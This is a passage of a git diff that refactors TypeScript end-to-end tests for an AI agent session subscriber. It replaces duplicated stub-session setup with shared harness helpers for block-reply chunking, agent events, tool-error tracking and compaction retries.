chunking: { minChars: 5, maxChars: 25, - breakPreference: "paragraph", }, }); const text = "Intro\n\n~~~sh\nline1\nline2\n~~~\n\nOutro"; - - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); + emitAssistantTextDeltaAndEnd({ emit, text }); expect(onBlockReply).toHaveBeenCalledTimes(3); expect(onBlockReply.mock.calls[1][0].text).toBe("~~~sh\nline1\nline2\n~~~"); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.e2e.test.ts index f6eeb24a27d..bbc2a019286 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.e2e.test.ts @@ -1,60 +1,28 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { + createParagraphChunkedBlockReplyHarness, + emitAssistantTextDeltaAndEnd, + expectFencedChunks, +} from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +type SessionEventHandler = (evt: unknown) => void; describe("subscribeEmbeddedPiSession", () => { it("splits long single-line fenced blocks with reopen/close", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 10, maxChars: 40, - breakPreference: "paragraph", }, }); const text = `\`\`\`json\n${"x".repeat(120)}\n\`\`\``; - - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); - - expect(onBlockReply.mock.calls.length).toBeGreaterThan(1); - for (const call of onBlockReply.mock.calls) { - const chunk = call[0].text as string; - expect(chunk.startsWith("```json")).toBe(true); - const fenceCount = chunk.match(/```/g)?.length ?? 0; - expect(fenceCount).toBeGreaterThanOrEqual(2); - } + emitAssistantTextDeltaAndEnd({ emit, text }); + expectFencedChunks(onBlockReply.mock.calls, "```json"); }); it("waits for auto-compaction retry and clears buffered text", async () => { const listeners: SessionEventHandler[] = []; diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.e2e.test.ts index 6c1bd3f0b13..cb9dccf38df 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.e2e.test.ts @@ -1,43 +1,23 @@ -import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; -import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +import { + createParagraphChunkedBlockReplyHarness, + emitAssistantTextDeltaAndEnd, +} from "./pi-embedded-subscribe.e2e-harness.js"; describe("subscribeEmbeddedPiSession", () => { it("streams soft chunks with paragraph preference", () => { - const { session, emit } = createStubSessionHarness(); - const onBlockReply = vi.fn(); - - const subscription = subscribeEmbeddedPiSession({ - session, - runId: "run", + const { emit, subscription } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 5, maxChars: 25, - breakPreference: "paragraph", }, }); const text = "First block line\n\nSecond block line"; - emit({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - emit({ type: "message_end", message: assistantMessage }); + emitAssistantTextDeltaAndEnd({ emit, text }); expect(onBlockReply).toHaveBeenCalledTimes(2); expect(onBlockReply.mock.calls[0][0].text).toBe("First block line"); @@ -45,39 +25,18 @@ describe("subscribeEmbeddedPiSession", () => { expect(subscription.assistantTexts).toEqual(["First block line", "Second block line"]); }); it("avoids splitting inside fenced code blocks", () => { - const { session, emit } = createStubSessionHarness(); - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session, - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 5, maxChars: 25, - breakPreference: "paragraph", }, }); const text = "Intro\n\n```bash\nline1\nline2\n```\n\nOutro"; - emit({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - emit({ type: "message_end", message: assistantMessage }); + emitAssistantTextDeltaAndEnd({ emit, text }); expect(onBlockReply).toHaveBeenCalledTimes(3); expect(onBlockReply.mock.calls[0][0].text).toBe("Intro"); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.e2e.test.ts index 1371a697d75..27f6014e643 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.e2e.test.ts @@ -2,6 +2,8 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, + emitMessageStartAndEndForAssistantText, + expectSingleAgentEventText, extractAgentEventPayloads, } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; @@ -18,6 +20,54 @@ describe("subscribeEmbeddedPiSession", () => { { tag: "antthinking", open: "", close: "" }, ] as const; + function createAgentEventHarness(options?: { runId?: string; sessionKey?: string }) { + const { session, emit } = createStubSessionHarness(); + const onAgentEvent = vi.fn(); + + subscribeEmbeddedPiSession({ + session, + runId: options?.runId ?? "run", + onAgentEvent, + sessionKey: options?.sessionKey, + }); + + return { emit, onAgentEvent }; + } + + function createToolErrorHarness(runId: string) { + const { session, emit } = createStubSessionHarness(); + const subscription = subscribeEmbeddedPiSession({ + session, + runId, + sessionKey: "test-session", + }); + + return { emit, subscription }; + } + + function emitToolRun(params: { + emit: (evt: unknown) => void; + toolName: string; + toolCallId: string; + args?: Record; + isError: boolean; + result: unknown; + }): void { + params.emit({ + type: "tool_execution_start", + toolName: params.toolName, + toolCallId: params.toolCallId, + args: params.args, + }); + params.emit({ + type: "tool_execution_end", + toolName: params.toolName, + toolCallId: params.toolCallId, + isError: params.isError, + result: params.result, + }); + } + it.each(THINKING_TAG_CASES)( "streams <%s> reasoning via onReasoningStream without leaking into final text", ({ open, close }) => { @@ -152,37 +202,21 @@ describe("subscribeEmbeddedPiSession", () => { ); it("emits delta chunks in agent events for streaming assistant text", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onAgentEvent } = createAgentEventHarness(); - const onAgentEvent = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onAgentEvent, - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "Hello" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: " world" }, }); - const payloads = onAgentEvent.mock.calls - .map((call) => call[0]?.data as Record | undefined) - .filter((value): value is Record => Boolean(value)); + const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls); expect(payloads[0]?.text).toBe("Hello"); expect(payloads[0]?.delta).toBe("Hello"); expect(payloads[1]?.text).toBe("Hello world"); @@ -199,6 +233,12 @@ describe("subscribeEmbeddedPiSession", () => { runId: "run", onAgentEvent, }); + emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" }); + expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world"); + }); + + it("does not emit duplicate agent events when message_end repeats", () => { + const { emit, onAgentEvent } = createAgentEventHarness(); const assistantMessage = { role: "assistant", @@ -207,153 +247,66 @@ describe("subscribeEmbeddedPiSession", () => { emit({ type: "message_start", message: assistantMessage }); emit({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls); expect(payloads).toHaveLength(1); - expect(payloads[0]?.text).toBe("Hello world"); - expect(payloads[0]?.delta).toBe("Hello world"); - }); - - it("does not emit duplicate agent events when message_end repeats", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onAgentEvent = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onAgentEvent, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text: "Hello world" }], - } as AssistantMessage; - - handler?.({ type: "message_start", message: assistantMessage }); - handler?.({ type: "message_end", message: assistantMessage }); - handler?.({ type: "message_end", message: assistantMessage }); - - const payloads = onAgentEvent.mock.calls - .map((call) => call[0]?.data as Record | undefined) - .filter((value): value is Record => Boolean(value)); - expect(payloads).toHaveLength(1); }); it("skips agent events when cleaned text rewinds mid-stream", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onAgentEvent } = createAgentEventHarness(); - const onAgentEvent = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onAgentEvent, - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "MEDIA:" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: " https://example.com/a.png\nCaption" }, }); - const payloads = onAgentEvent.mock.calls - .map((call) => call[0]?.data as Record | undefined) - .filter((value): value is Record => Boolean(value)); + const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls); expect(payloads).toHaveLength(1); expect(payloads[0]?.text).toBe("MEDIA:"); }); it("emits agent events when media arrives without text", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onAgentEvent } = createAgentEventHarness(); - const onAgentEvent = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onAgentEvent, - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "MEDIA: https://example.com/a.png" }, }); - const payloads = onAgentEvent.mock.calls - .map((call) => call[0]?.data as Record | undefined) - .filter((value): value is Record => Boolean(value)); + const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls); expect(payloads).toHaveLength(1); expect(payloads[0]?.text).toBe(""); expect(payloads[0]?.mediaUrls).toEqual(["https://example.com/a.png"]); }); it("keeps unresolved mutating failure when an unrelated tool succeeds", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, subscription } = createToolErrorHarness("run-tools-1"); - const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run-tools-1", - sessionKey: "test-session", - }); - - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "write", toolCallId: "w1", args: { path: "/tmp/demo.txt", content: "next" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "write", - toolCallId: "w1", isError: true, result: { error: "disk full" }, }); expect(subscription.getLastToolError()?.toolName).toBe("write"); - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "read", toolCallId: "r1", args: { path: "/tmp/demo.txt" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "read", - toolCallId: "r1", isError: false, result: { text: "ok" }, }); @@ -362,45 +315,23 @@ describe("subscribeEmbeddedPiSession", () => { }); it("clears unresolved mutating failure when the same action succeeds", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, subscription } = createToolErrorHarness("run-tools-2"); - const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run-tools-2", - sessionKey: "test-session", - }); - - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "write", toolCallId: "w1", args: { path: "/tmp/demo.txt", content: "next" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "write", - toolCallId: "w1", isError: true, result: { error: "disk full" }, }); expect(subscription.getLastToolError()?.toolName).toBe("write"); - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "write", toolCallId: "w2", args: { path: "/tmp/demo.txt", content: "retry" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "write", - toolCallId: "w2", isError: false, result: { ok: true }, }); @@ -409,44 +340,22 @@ describe("subscribeEmbeddedPiSession", () => { }); it("keeps unresolved mutating failure when same tool succeeds on a different target", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, subscription } = createToolErrorHarness("run-tools-3"); - const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run-tools-3", - sessionKey: "test-session", - }); - - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "write", toolCallId: "w1", args: { path: "/tmp/a.txt", content: "first" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "write", - toolCallId: "w1", isError: true, result: { error: "disk full" }, }); - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "write", toolCallId: "w2", args: { path: "/tmp/b.txt", content: "second" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "write", - toolCallId: "w2", isError: false, result: { ok: true }, }); @@ -455,44 +364,22 @@ describe("subscribeEmbeddedPiSession", () => { }); it("keeps unresolved session_status model-mutation failure on later read-only status success", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, subscription } = createToolErrorHarness("run-tools-4"); - const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run-tools-4", - sessionKey: "test-session", - }); - - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "session_status", toolCallId: "s1", args: { sessionKey: "agent:main:main", model: "openai/gpt-4o" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "session_status", - toolCallId: "s1", isError: true, result: { error: "Model not allowed." }, }); - handler?.({ - type: "tool_execution_start", + emitToolRun({ + emit, toolName: "session_status", toolCallId: "s2", args: { sessionKey: "agent:main:main" }, - }); - handler?.({ - type: "tool_execution_end", - toolName: "session_status", - toolCallId: "s2", isError: false, result: { ok: true }, }); @@ -501,20 +388,8 @@ describe("subscribeEmbeddedPiSession", () => { }); it("emits lifecycle:error event on agent_end when last assistant message was an error", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onAgentEvent = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const { emit, onAgentEvent } = createAgentEventHarness({ runId: "run-error", - onAgentEvent, sessionKey: "test-session", }); @@ -525,10 +400,10 @@ describe("subscribeEmbeddedPiSession", () => { } as AssistantMessage; // Simulate message update to set lastAssistant - handler?.({ type: "message_update", message: assistantMessage }); + emit({ type: "message_update", message: assistantMessage }); // Trigger agent_end - handler?.({ type: "agent_end" }); + emit({ type: "agent_end" }); // Look for lifecycle:error event const lifecycleError = onAgentEvent.mock.calls.find( @@ -536,6 +411,6 @@ describe("subscribeEmbeddedPiSession", () => { ); expect(lifecycleError).toBeDefined(); - expect(lifecycleError[0].data.error).toContain("API rate limit reached"); + expect(lifecycleError?.[0]?.data?.error).toContain("API rate limit reached"); }); }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.e2e.test.ts index bb0fff53264..2bc0382f57d 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.e2e.test.ts @@ -1,149 +1,101 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +function createBlockReplyHarness(blockReplyBreak: "message_end" | "text_end") { + const { session, emit } = createStubSessionHarness(); + const onBlockReply = vi.fn(); + subscribeEmbeddedPiSession({ + session, + runId: "run", + onBlockReply, + blockReplyBreak, + }); + return { emit, onBlockReply }; +} + +async function emitMessageToolLifecycle(params: { + emit: (evt: unknown) => void; + toolCallId: string; + message: string; + result: unknown; +}) { + params.emit({ + type: "tool_execution_start", + toolName: "message", + toolCallId: params.toolCallId, + args: { action: "send", to: "+1555", message: params.message }, + }); + // Wait for async handler to complete. + await Promise.resolve(); + params.emit({ + type: "tool_execution_end", + toolName: "message", + toolCallId: params.toolCallId, + isError: false, + result: params.result, + }); +} + +function emitAssistantMessageEnd(emit: (evt: unknown) => void, text: string) { + const assistantMessage = { + role: "assistant", + content: [{ type: "text", text }], + } as AssistantMessage; + emit({ type: "message_end", message: assistantMessage }); +} + +function emitAssistantTextEndBlock(emit: (evt: unknown) => void, text: string) { + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ + type: "message_update", + message: { role: "assistant" }, + assistantMessageEvent: { type: "text_delta", delta: text }, + }); + emit({ + type: "message_update", + message: { role: "assistant" }, + assistantMessageEvent: { type: "text_end" }, + }); +} describe("subscribeEmbeddedPiSession", () => { it("suppresses message_end block replies when the message tool already sent", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "message_end", - }); + const { emit, onBlockReply } = createBlockReplyHarness("message_end"); const messageText = "This is the answer."; - - handler?.({ - type: "tool_execution_start", - toolName: "message", + await emitMessageToolLifecycle({ + emit, toolCallId: "tool-message-1", - args: { action: "send", to: "+1555", message: messageText }, - }); - - // Wait for async handler to complete - await Promise.resolve(); - - handler?.({ - type: "tool_execution_end", - toolName: "message", - toolCallId: "tool-message-1", - isError: false, + message: messageText, result: "ok", }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text: messageText }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); + emitAssistantMessageEnd(emit, messageText); expect(onBlockReply).not.toHaveBeenCalled(); }); it("does not suppress message_end replies when message tool reports error", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "message_end", - }); + const { emit, onBlockReply } = createBlockReplyHarness("message_end"); const messageText = "Please retry the send."; - - handler?.({ - type: "tool_execution_start", - toolName: "message", + await emitMessageToolLifecycle({ + emit, toolCallId: "tool-message-err", - args: { action: "send", to: "+1555", message: messageText }, - }); - - // Wait for async handler to complete - await Promise.resolve(); - - handler?.({ - type: "tool_execution_end", - toolName: "message", - toolCallId: "tool-message-err", - isError: false, + message: messageText, result: { details: { status: "error" } }, }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text: messageText }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); + emitAssistantMessageEnd(emit, messageText); expect(onBlockReply).toHaveBeenCalledTimes(1); }); it("clears block reply state on message_start", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "text_end", - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { type: "text_delta", delta: "OK" }, - }); - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { type: "text_end" }, - }); + const { emit, onBlockReply } = createBlockReplyHarness("text_end"); + emitAssistantTextEndBlock(emit, "OK"); expect(onBlockReply).toHaveBeenCalledTimes(1); // New assistant message with identical output should still emit. - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { type: "text_delta", delta: "OK" }, - }); - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { type: "text_end" }, - }); + emitAssistantTextEndBlock(emit, "OK"); expect(onBlockReply).toHaveBeenCalledTimes(2); }); }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.e2e.test.ts index 319baf58bf8..e661b70e8d8 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.e2e.test.ts @@ -1,30 +1,15 @@ import { describe, expect, it, vi } from "vitest"; import { onAgentEvent } from "../infra/agent-events.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; - -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; describe("subscribeEmbeddedPiSession", () => { it("waits for multiple compaction retries before resolving", async () => { - const listeners: SessionEventHandler[] = []; - const session = { - subscribe: (listener: SessionEventHandler) => { - listeners.push(listener); - return () => {}; - }, - } as unknown as Parameters[0]["session"]; - - const subscription = subscribeEmbeddedPiSession({ - session, + const { emit, subscription } = createSubscribedSessionHarness({ runId: "run-3", }); - for (const listener of listeners) { - listener({ type: "auto_compaction_end", willRetry: true }); - listener({ type: "auto_compaction_end", willRetry: true }); - } + emit({ type: "auto_compaction_end", willRetry: true }); + emit({ type: "auto_compaction_end", willRetry: true }); let resolved = false; const waitPromise = subscription.waitForCompactionRetry().then(() => { @@ -34,30 +19,21 @@ describe("subscribeEmbeddedPiSession", () => { await Promise.resolve(); expect(resolved).toBe(false); - for (const listener of listeners) { - listener({ type: "agent_end" }); - } + emit({ type: "agent_end" }); await Promise.resolve(); expect(resolved).toBe(false); - for (const listener of listeners) { - listener({ type: "agent_end" }); - } + emit({ type: "agent_end" }); await waitPromise; expect(resolved).toBe(true); }); it("emits compaction events on the agent event bus", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + const { emit } = createSubscribedSessionHarness({ + runId: "run-compaction", + }); const events: Array<{ phase: string; willRetry?: boolean }> = []; const stop = onAgentEvent((evt) => { if (evt.runId !== "run-compaction") { @@ -73,14 +49,9 @@ describe("subscribeEmbeddedPiSession", () => { }); }); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run-compaction", - }); - - handler?.({ type: "auto_compaction_start" }); - handler?.({ type: "auto_compaction_end", willRetry: true }); - handler?.({ type: "auto_compaction_end", willRetry: false }); + emit({ type: "auto_compaction_start" }); + emit({ type: "auto_compaction_end", willRetry: true }); + emit({ type: "auto_compaction_end", willRetry: false }); stop(); @@ -92,25 +63,13 @@ describe("subscribeEmbeddedPiSession", () => { }); it("rejects compaction wait with AbortError when unsubscribed", async () => { - const listeners: SessionEventHandler[] = []; const abortCompaction = vi.fn(); - const session = { - isCompacting: true, - abortCompaction, - subscribe: (listener: SessionEventHandler) => { - listeners.push(listener); - return () => {}; - }, - } as unknown as Parameters[0]["session"]; - - const subscription = subscribeEmbeddedPiSession({ - session, + const { emit, subscription } = createSubscribedSessionHarness({ runId: "run-abort-on-unsubscribe", + sessionExtras: { isCompacting: true, abortCompaction }, }); - for (const listener of listeners) { - listener({ type: "auto_compaction_start" }); - } + emit({ type: "auto_compaction_start" }); const waitPromise = subscription.waitForCompactionRetry(); subscription.unsubscribe(); @@ -123,24 +82,14 @@ describe("subscribeEmbeddedPiSession", () => { }); it("emits tool summaries at tool start when verbose is on", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-tool", verboseLevel: "on", onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "read", toolCallId: "tool-1", @@ -154,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => { const payload = onToolResult.mock.calls[0][0]; expect(payload.text).toContain("/tmp/a.txt"); - handler?.({ + toolHarness.emit({ type: "tool_execution_end", toolName: "read", toolCallId: "tool-1", @@ -165,24 +114,15 @@ describe("subscribeEmbeddedPiSession", () => { expect(onToolResult).toHaveBeenCalledTimes(1); }); it("includes browser action metadata in tool summaries", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-browser-tool", verboseLevel: "on", onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "browser", toolCallId: "tool-browser-1", @@ -201,24 +141,15 @@ describe("subscribeEmbeddedPiSession", () => { }); it("emits exec output in full verbose mode and includes PTY indicator", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-exec-full", verboseLevel: "full", onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "exec", toolCallId: "tool-exec-1", @@ -232,7 +163,7 @@ describe("subscribeEmbeddedPiSession", () => { expect(summary.text).toContain("Exec"); expect(summary.text).toContain("pty"); - handler?.({ + toolHarness.emit({ type: "tool_execution_end", toolName: "exec", toolCallId: "tool-exec-1", @@ -247,7 +178,7 @@ describe("subscribeEmbeddedPiSession", () => { expect(output.text).toContain("hello"); expect(output.text).toContain("```txt"); - handler?.({ + toolHarness.emit({ type: "tool_execution_end", toolName: "read", toolCallId: "tool-read-1", diff --git a/src/agents/pi-extensions/context-pruning.e2e.test.ts b/src/agents/pi-extensions/context-pruning.e2e.test.ts index 4bc5afc156d..d269e98abce 100644 --- a/src/agents/pi-extensions/context-pruning.e2e.test.ts +++ b/src/agents/pi-extensions/context-pruning.e2e.test.ts @@ -78,6 +78,40 @@ function makeUser(text: string): AgentMessage { return { role: "user", content: text, timestamp: Date.now() }; } +type ContextHandler = ( + event: { messages: AgentMessage[] }, + ctx: ExtensionContext, +) => { messages: AgentMessage[] } | undefined; + +function createContextHandler(): ContextHandler { + let handler: ContextHandler | undefined; + const api = { + on: (name: string, fn: unknown) => { + if (name === "context") { + handler = fn as ContextHandler; + } + }, + appendEntry: (_type: string, _data?: unknown) => {}, + } as unknown as ExtensionAPI; + + contextPruningExtension(api); + if (!handler) { + throw new Error("missing context handler"); + } + return handler; +} + +function runContextHandler( + handler: ContextHandler, + messages: AgentMessage[], + sessionManager: unknown, +) { + return handler({ messages }, { + model: undefined, + sessionManager, + } as unknown as ExtensionContext); 